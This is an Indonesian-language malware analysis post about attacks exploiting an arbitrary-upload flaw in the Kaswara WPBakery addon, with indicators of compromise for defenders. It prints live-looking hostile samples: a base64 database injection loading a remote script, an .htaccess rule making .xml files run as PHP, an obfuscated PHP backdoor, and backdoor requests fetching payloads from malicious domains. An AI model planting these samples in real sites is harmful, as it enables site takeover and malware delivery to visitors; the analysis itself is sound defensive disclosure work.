Plugin Addons Pembuat Halaman WPBakery Modern Kaswara yang Rentan Dieksploitasi di Alam Liar
Diterbitkan: 2021-06-08Kembali pada 20 April 2021, teman-teman kami di WPScan melaporkan kerentanan parah pada Kaswara Modern VC Addons, juga dikenal sebagai Kaswara Modern WPBakery Page Builder Addons. Ini tidak tersedia lagi di Codecanyon/Envato, artinya jika Anda menjalankan ini, Anda harus memilih alternatif.
Kerentanan ini memungkinkan pengguna yang tidak diautentikasi untuk mengunggah file sewenang-wenang ke direktori ikon plugin (./wp-content/uploads/kaswara/icons). Ini adalah Indikator Kompromi (IOC) pertama yang dibagikan teman-teman kami di WPScan kepada kami dalam laporan mereka.
Kemampuan untuk mengunggah file arbitrer ke situs web memberi aktor jahat kontrol penuh atas situs, yang membuatnya sulit untuk menentukan muatan akhir dari infeksi ini; oleh karena itu, kami akan menunjukkan kepada Anda semua yang kami temukan sejauh ini (kami sedikit terbawa dalam penelitian, jadi silakan lompat ke bagian IOC jika Anda tidak ingin membaca).
Injeksi Basis Data, aplikasi Android Palsu, dan pintu belakang lainnya
Terima kasih kepada teman kami Denis Sinegubko dari Sucuri karena menunjukkan tindak lanjut injeksi basis data yang digunakan dengan serangan ini.
Pelaku jahat akan memperbarui opsi 'kaswara-customJS' untuk menambahkan cuplikan kode Javascript berbahaya yang berubah-ubah. Berikut salah satu contoh yang kami temukan:
INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');
String yang disandikan base64 ini diterjemahkan menjadi:
var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);
Dan seperti yang biasanya terjadi pada skrip jenis ini, skrip ini akan memuat serangkaian cuplikan kode Javascript lainnya, dan muatan akhir akan berupa malvertising atau exploit kit. Ini sangat mirip dengan apa yang dilaporkan Wordfence di sini.
Dalam hal ini, skrip mati di hxxp://double-clickd[.]com/ dan tidak memuat konten buruk apa pun. Saya menemukan Javascript mencurigakan yang memanggil situs ini sejak awal 2020 dan orang-orang telah memblokirnya sejak 2018.
Aplikasi Palsu yang diunggah ke situs
40 aplikasi Android yang ditemukan di situs web yang kami periksa adalah versi palsu dari berbagai aplikasi, seperti AliPay, PayPal, Correos, DHL, dan banyak lainnya, yang untungnya terdeteksi oleh vendor Anti-Virus paling populer menurut analisis VirusTotal ini.

Saya tidak memeriksa maksud aplikasi, tetapi tinjauan singkat tentang izin yang diminta dapat memberi kita gambaran sekilas tentang apa yang dapat dilakukannya:
- android.permission.WRITE_SMS
- android.permission.RECEIVE_SMS
- android.permission.FOREGROUND_SERVICE
- android.permission.KILL_BACKGROUND_PROCESSES
- android.permission.READ_CONTACTS
- android.permission.READ_PHONE_STATE
- android.permission.READ_SMS
- android.permission.ACCESS_NETWORK_STATE
- android.permission.QUERY_ALL_PACKAGES
- android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
- android.permission.INTERNET
- android.permission.SEND_SMS
- android.permission.CALL_PHONE
- android.permission.WAKE_LOCK
- android.permission.REQUEST_DELETE_PACKAGES
File-file itu tidak segera diunggah menggunakan eksploit Kaswara. Setelah situs disusupi, penyerang akan mengunggah alat lain terlebih dahulu untuk mengontrol situs sepenuhnya.
File yang diunggah
Beberapa backdoor dan malware lainnya juga ditemukan di situs web yang disusupi oleh kerentanan ini. Saya akan membagikan analisis singkat tentang yang paling populer dan menarik di posting ini. Namun, saya ingin pertama-tama fokus pada yang paling kompleks.
Redirect dan aplikasi Palsu
Aplikasi palsu yang saya temukan di beberapa situs yang disusupi tidak diunggah dengan memanfaatkan kerentanan Kaswara. Mereka diunggah ke situs menggunakan alat peretas multi-fungsi, yang memungkinkan penyerang mengunggah beberapa kode jarak jauh (dengan memberikan URL atau string), dan mengarahkan pengguna ke situs jahat.
File dapat dengan mudah diidentifikasi dengan adanya string ini: base64_decode('MTIz');error_reporting(0);
fungsi
Cukup menarik itu mengacak segala sesuatu selain ini.
Malware ada di satu baris, yang juga merupakan IOC yang menarik jika Anda mencari jenis anomali kode ini.

Untuk membuatnya lebih mudah dipahami, saya memecahkan kode sebagian besar kode, mengganti nama fungsi yang menarik dan mempercantik kode. Malware memiliki 6 fungsi berbeda, dan 5 di antaranya didasarkan pada nilai yang diteruskan pada variabel $_GET['ts']
. Untuk dokumen ini, mari kita pertimbangkan salah satu dari banyak contoh yang saya temukan: c.php
.

/c.php?ts=kt
Ini tidak melakukan apa-apa dan itu akan memaksa situs untuk mengembalikan kesalahan 500 (nanti pada kode).
/c.php?ts=1
Mengubah nilai flag $q1a
menjadi true untuk melakukan validasi kode dan menampilkan pesan OK kepada penyerang.
Dalam hal ini situs jarak jauh menjawab: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”Kode”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef
Menulis file di server dengan kode yang disediakan oleh konten $_GET["v"]
selama $_GET["p"]
adalah checksum SHA1 dari 123 (ingat IOC pertama dari base64_decode('MTIz')
? adalah checksum itu).

/c.php?ts=tt
Menulis 5 MB "-" di server, mungkin digunakan untuk menguji apakah fungsi unggah akan bekerja di server.

/c.php?ts=dwm&h=HASH1,HASH2
Ketika malware menerima permintaan ini, ia melakukan tes untuk memverifikasi apakah file yang diunggah berhasil ditulis ke server. Hash MD5 mereka harus diketahui dan dikirim ke variabel $_GET['h']
sebagai nilai yang dipisahkan koma.

/c.php?ts=dw&h=hash&l=URLs_as_CSV
Mengunduh file dari serangkaian situs web pihak ketiga dan menyimpannya di server yang menamainya setelah 12 karakter terakhir dari md5 file yang diunduh.
Ini adalah fungsi yang digunakan untuk mengunggah aplikasi palsu ke server.
Berikut adalah contoh permintaan untuk mengunduh file berbahaya /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Mengarahkan akses
Jika opsi kt
atau tidak ada opsi yang dipilih, kode melanjutkan ke pengalihan, yang dicapai dengan meminta gumpalan JSON dengan data yang diperlukan. Kemudian melanjutkan untuk mengarahkan pengunjung menggunakan fungsi header.

Responnya seperti ini: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}
Fungsi untuk mengeksekusi permintaan cURL dengan parameter yang diperlukan adalah yang ini: Tidak ada yang mewah…
Dan itu dapat diterjemahkan ke permintaan cURL ini:
curl -X POST hxxp://papass[.]ru/click_api/v3 \
-H 'X-Forwarded-For: 200.171.221.1' \
-H 'Accept-Language: *' \
-H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
-d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'
URL final, sejauh yang saya bisa uji, acak, tetapi memiliki karakteristik yang sama sebagai halaman palsu untuk layanan atau aplikasi populer.

wp-content/uploads/kaswara/icons/16/javas.xml dan wp-content/uploads/kaswara/icons/16/.htaccess
File XML biasanya tidak ditandai sebagai potensi ancaman, tetapi dalam kasus ini, kami memiliki file .htaccess yang dibuat khusus yang mengubah cara server web melihatnya:
Order Deny,Allow
Allow from all
<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
AddHandler application/x-httpd-php .xml .pdf
AddType application/x-httpd-php .xml .pdf
# ---
SetHandler application/x-httpd-php
ForceType application/x-httpd-php
# ---
php_value engine 1
# ---
Order Deny,Allow
Allow from all
</FilesMatch>
Bahkan, ia memberitahu Apache untuk memahami file javas, rumah, atau menu dengan xml, php, atau pdf sebagai file PHP untuk diproses sesuai dan dieksekusi. Jadi, file mana pun yang ada dalam struktur direktori yang sama dengan .htaccess ini akan mencurigakan.

File javas.xml sama dengan beberapa file berbahaya lainnya yang diunggah ke situs. Saya menemukan perbedaannya adalah bahwa beberapa memiliki satu atau dua baris kosong di akhir file, yang membuat hashing tradisional sedikit lebih rumit.
<?php
$LnWYZK ="\163"."\164" ."\162\137\162\157" . "\164" . ( 279 - 266) ; if( !empty ( $ { $LnWYZK
("\137" . "\103\102\106" . "\107")} ) ) { $nNZph =$LnWYZK ( "\172". "\161". (4334
-4329 ) ) ; $ouQLkV = $LnWYZK ( "\157\156" . "\146" . "\162" . ( 9680 - 9616) . "\137"
. "\161" . "\162\160\142\161\162" ) ; $VNfzSD =$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"
. "\147\166\142\141" ); foreach ($ { $LnWYZK( "\137". "\103" . "\102" . "\106" . "\107"
) } as $IKRDzf => $NIvHUr )( $nNZph ( $IKRDzf ) === "c" . (2668 - 2626 ) .
"\145\141" ."\71" . "\67" ."\71\145\144" . "\71\70\62" . "\143\60" . (314406 -51163 ) . "\60"
. "\145" . "\71" . "\145" . "\71" . "\70" . "\141" . "\66" . "\66" . "\144" . ( 9786 -
9780 ) && $QZCMY = $VNfzSD( "" , $ouQLkV ( $NIvHUr) ) ) ?$QZCMY () : " "
; }
Kode berbahaya dikaburkan menggunakan string yang disandikan str_rot13 dan base64. Itu juga menggunakan nilai heksadesimal dan operasi matematika untuk menyembunyikan string lebih sedikit. Payload akhir tidak diketahui karena akan membuat fungsi berdasarkan nilai permintaan POST. Namun, payload tampaknya sama setiap saat karena bergantung pada pemeriksaan md5 sebelum membuatnya (c42ea979ed982c02632430e9e98a66d6 adalah hash md5).
Kesimpulan
Karena ini adalah kampanye aktif, pada saat menulis posting ini kami menemukan semakin banyak contoh malware berbeda yang dijatuhkan di situs yang terpengaruh. Beberapa hanya variasi dari apa yang kita miliki di sini, sementara yang lain cukup menarik untuk dianalisis lebih dalam. Cari beberapa posting yang lebih kecil segera hadir untuk menjelajahi beberapa contoh lain ini.
Ini menggambarkan pentingnya memperbarui ekstensi Anda dengan perbaikan keamanan terbaru; jika pengembang tidak merilis perbaikan tepat waktu atau dihapus dari repositori WordPress.org (atau pasar lainnya), kami sangat menyarankan Anda menemukan alternatif yang lebih aman.
Jika Anda khawatir tentang malware dan kerentanan untuk situs Anda, lihat fitur keamanan Jetpack. Jetpack Security menyediakan keamanan situs WordPress yang komprehensif dan mudah digunakan termasuk pencadangan, pemindaian malware, dan perlindungan spam.
Indikator Kompromi
Di sini Anda menemukan daftar lengkap semua IOC yang kami identifikasi:
Hash (SHA-1) | Jalur | Deskripsi ancaman |
754ee56344b190a7240732eabd43ef8f2e8bace9 | ./2f31eab3b335 | Aplikasi Android Palsu |
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 | ./28052809bdd7 | Aplikasi Android Palsu |
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd | ./ce52e434cded | Aplikasi Android Palsu |
b354b2193e13956747cf3cf1268caa9ae9601a0 | ./c016456e66cd | Aplikasi Android Palsu |
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 | ./5d64d12229cf | Aplikasi Android Palsu |
886ce65890fb467f8843ba4de782cb65966ef801 | ./47e3bdf4ac71 | Aplikasi Android Palsu |
e2314e2de6e12aa6a600fbc538d75c37b7651b7b | ./026ec4ebebfe | Aplikasi Android Palsu |
970a29c4322e70ac820f181ff64e9089b6ce69ca | ./5610ec2e788c | Aplikasi Android Palsu |
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 | ./9be9954a7c0a | Aplikasi Android Palsu |
423d83a87a3833440f6b810967795876b83b7a90 | ./34b0ea9d688e | Aplikasi Android Palsu |
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 | ./7986aa5f641b | Aplikasi Android Palsu |
f1a3f3ffa13a98e75da208aa151910052a2893f6 | ./648cabbe0afa | Aplikasi Android Palsu |
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 | ./20f9849711cc | Aplikasi Android Palsu |
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 | ./75002db259ea | Aplikasi Android Palsu |
8a2cb8808b11c7d24a5111501aed3e4494e4b292 | ./0c7e4e6a39eb | Aplikasi Android Palsu |
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 | ./7237cd011f42 | Aplikasi Android Palsu |
f210df00ee1978fc3eda3bc5759d2f7627950c20 | ./3186fb436dae | Aplikasi Android Palsu |
b9c2dc421010fb1f273ae40f176da4854830e6b8 | ./04d2e95f9573 | Aplikasi Android Palsu |
8484f4bcba9a8ad5f2a451ee8a541929d80400cc | ./34b67b93da5e | Aplikasi Android Palsu |
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 | ./502ba128d12c | Aplikasi Android Palsu |
eb41990973aa178d156a83050d34ad9831f66567 | ./2501a5736f6e | Aplikasi Android Palsu |
814178f5442be9e748769d61342e33b66ae119f6 | ./ddb83c37197f | Aplikasi Android Palsu |
edc53993d4f37286985374f6ebbe29815c42b61c | ./2e0ed75c116b | Aplikasi Android Palsu |
6c014dca61b1cd3e6981a731808317d7e931fc94 | ./5f6ec9795436 | Aplikasi Android Palsu |
295d49d596b5d062de7d52548ded91284b67ef6a | ./7ed8c17a7cd7 | Aplikasi Android Palsu |
c83b20deb16bb1d47a6137b99b7230d707b2a1dc | ./4b30e0221c16 | Aplikasi Android Palsu |
6c709124972f6506bd7562ebe4b2567e7dfb7b75 | ./0faa25f73e3c | Aplikasi Android Palsu |
816a5ad37b5e1bf7e069969f10f0af41d4ba492f | ./a64122f493dc | Aplikasi Android Palsu |
a04651dd95f74a074150bcfe7f6535b0542c8f63 | ./3980315c7daa | Aplikasi Android Palsu |
9d9c89268e5158f93b3b0accb387314133d5e719 | ./da15f8061ab2 | Aplikasi Android Palsu |
ce8dfe115d9546197d57c9cc9f93abb513aadf4a | ./715b3f4ed70d | Aplikasi Android Palsu |
2b61271653b8bd82016ce743cabca8c48444f2c8 | ./f8c2f1514938 | Aplikasi Android Palsu |
1d8f259a424c2f7b6441b7ab568623ef762a5325 | ./ea40ee4cea57 | Aplikasi Android Palsu |
21f070e33da3a574526817eede699798e59971c1 | ./73b6daad56b6 | Aplikasi Android Palsu |
de364006dc140251a90adf8ddfd23b00d4c494c5 | ./a70ce1c2d003 | Aplikasi Android Palsu |
1c0bd522cb786e8697bb907f8771c66d991d672c | ./4c63cfe07251 | Aplikasi Android Palsu |
a36c3667be58efa50441418b58b5487d873b5d63 | ./067fd1c69444 | Aplikasi Android Palsu |
8c21c99670e9158f12ac88feba2e87aaa93b41f0 | ./57fd16f4719d | Aplikasi Android Palsu |
31285841768b43a5973b268df2a761055f25b25f | ./14834dab2dd7 | Aplikasi Android Palsu |
d3ee06b4c26f7c59b6248f50c8d272e002180d7a | ./28b655b495a9 | Aplikasi Android Palsu |
8639df09b4ec97c084ed2be1a914b540eb8ab29e | ./c.php | Perangkat lunak perusak yang dijatuhkan |
95217d8c55b9a83aea2e7d030388daba1e49e27e | ./medovq.php | Perangkat lunak perusak yang dijatuhkan |
2831ea2f80e71f07c408133986cca2558106b9fc | /wp-content/uploads/kaswara/icons/kntl/img.php | pengunggah file PHP |
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 | wp-content/uploads/kaswara/icons/kntl/cc.php | Perangkat lunak perusak yang dijatuhkan |
da39a3ee5e6b4b0d3255bfef95601890afd80709 | wp-content/uploads/kaswara/icons/16/icons.php | Malware Eksekusi Kode Jarak Jauh |
d51366d5062e7fd4d1422a59e75b585053643549 | wp-content/uploads/kaswara/icons/brt/t.php | Perangkat lunak perusak yang dijatuhkan |
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 | ./wp-content/siteindex.php | Perangkat lunak perusak yang dijatuhkan |
7464d78fd5022a54203c2c63b80096ce96932422 | ./wp-content/uploads/kaswara/fonts_icon/test2/index.php | Perangkat lunak perusak yang dijatuhkan |
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 | ./wp-content/uploads/kaswara/fonts_icon/test3/index.php | Perangkat lunak perusak yang dijatuhkan |
486ea7a58e28d9f112eb566711d0d8b594f6b238 | ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip | Perangkat lunak perusak yang dijatuhkan |
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 | ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip | Perangkat lunak perusak yang dijatuhkan |
5dd9180835cfbc85e56f25a71977a6fc6a256b35 | ./wp-content/themes/admindex.php | Perangkat lunak perusak yang dijatuhkan |
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc | ./wp-booking.php | Perangkat lunak perusak yang dijatuhkan |
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 | ./icons/icons.php | Malware Eksekusi Kode Jarak Jauh |
f7c7fc098575895d9e27b04108ee481b84285aaf | ./icons/yrecyt.php | Perangkat lunak perusak yang dijatuhkan |
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 | ./xeh02b.php atau ./wp-content/uploads/xeh02b.php | Perangkat lunak perusak yang dijatuhkan |
64e1b82b8e1fae20fa846b0003c877bc454c00b8 | ./icons/pewegy.php | Perangkat lunak perusak yang dijatuhkan |
1926459cbe6f3fae524d5c1aa966a023b9def873 | ./icons/icons.php | Malware Eksekusi Kode Jarak Jauh |
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 | ./wp-craft/scr.php | Perangkat lunak perusak yang dijatuhkan |
wp-content/uploads/kaswara/icons/16/javas.xml | Malware Eksekusi Kode Jarak Jauh | |
– | smurfetta.ru | Domain berbahaya |
http://papass.ru | Domain berbahaya |